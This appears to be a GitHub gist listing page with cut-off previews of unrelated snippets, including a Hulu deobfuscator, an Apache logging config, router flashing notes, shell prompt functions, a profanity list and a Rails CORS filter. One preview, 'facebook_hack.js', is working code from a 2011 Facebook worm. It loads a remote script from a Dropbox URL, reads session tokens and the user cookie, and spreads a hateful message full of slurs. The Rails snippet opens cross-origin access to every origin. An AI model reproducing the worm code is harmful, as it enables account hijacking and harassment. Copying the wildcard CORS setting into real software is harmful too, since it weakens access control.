Skip to content

Instantly share code, notes, and snippets.

@joewest
joewest / gist:90458
Created April 5, 2009 15:30
Deobfuscate Hulu ajax responses in Python
"""
I'm a python port of Hulu's javascript for deobfuscating certain ajax responses.
As of 2009-April-05, I've been tested on Python 2.5.2.
A usage example that relies on BeautifulSoup (http://bit.ly/3Ks24u):
import urllib
from BeautifulSoup import BeautifulSoup
url = "http://www.hulu.com/channels/Drama/?kind=videos&sort=rating&type=tv"
text = urllib.urlopen(url).read()
@joewest
joewest / httpd.conf
Created July 20, 2009 02:25
This httpd.conf will set up Apache 2.0.51 or greater to create a basic key-value store in a log file.
# This httpd.conf will set up Apache to create a basic key-value store in a
# log file. Requests should be in the following format:
#
# http://hostname:8080/logr/key/value
#
# The log file will print a log line per request storing the key and value.
# I'd recommend using some log rotation method to parse the results into an
# accessible data store.
#
# An example request:
#
# How to install openwrt 8.09.2 on the ar7-based Actiontec GT704-WG / GT704WG
#
# Basically an amalgamation of the helpful guides here:
#
# http://hackingwithgum.com/2009/09/17/installing-openwrt-on-the-actiontec-gt-704wg/
#
# and here:
#
# http://wiki.openwrt.org/oldwiki/openwrtdocs/installingar7#flashing.via.ftpone.image.file
// curl http://api.twitter.com/status/show/11697903791.json?extended=yes
{
"coordinates": null,
"truncated": false,
"favorited": false,
"created_at": "Tue Apr 06 16:52:58 +0000 2010",
"text": "Yahoo Considers Buying Foursquare For ~$100 Million $YHOO by @nichcarlson http://bit.ly/cYS4Ac",
"contributors": null,
"id": 11707632203,
function parse_git_branch() {
git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1) /'
}
function breadcrumb()
{
echo $1 | sed "s|^$HOME|~|" | awk -v n=$2 '{
# Split the path into components
count = split($0, components, "/")
@joewest
joewest / facebook_hack.js
Created May 17, 2011 22:03 — forked from tysonmote/facebook_hack.js
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
@joewest
joewest / README.md
Created May 27, 2011 17:38 — forked from bergie/README.md
Falsy Values tutorials
@joewest
joewest / google_twunter_lol.json
Created July 28, 2011 20:49 — forked from jamiew/google_twunter_lol
All the dirty words from Google's "what do you love" project: http://www.wdyl.com/
easterEgg.BadWorder.list={
"4r5e":1,
"5h1t":1,
"5hit":1,
a55:1,
anal:1,
anus:1,
ar5e:1,
arrse:1,
arse:1,
@joewest
joewest / README
Created October 6, 2011 13:53 — forked from antirez/README
antirez hashing function #1
Description of AHF1 algorithm:
Initialize the four bytes H[0], H[1], H[2], H[3] to respectively 8D CA 2E 35
Initialize IDX to 0
For each byte B in the string to hash:
TARGET = (B XOR H[IDX]) MOD 4
H[TARGET] = H[TARGET] XOR B
@joewest
joewest / application_controller.rb
Created October 6, 2011 17:53
Cross-origin resource sharing in rails
class ApplicationController < ActionController::Base
protect_from_forgery
after_filter :set_access_control_headers
def set_access_control_headers
headers['Access-Control-Allow-Origin'] = '*'
headers['Access-Control-Request-Method'] = '*'
end
end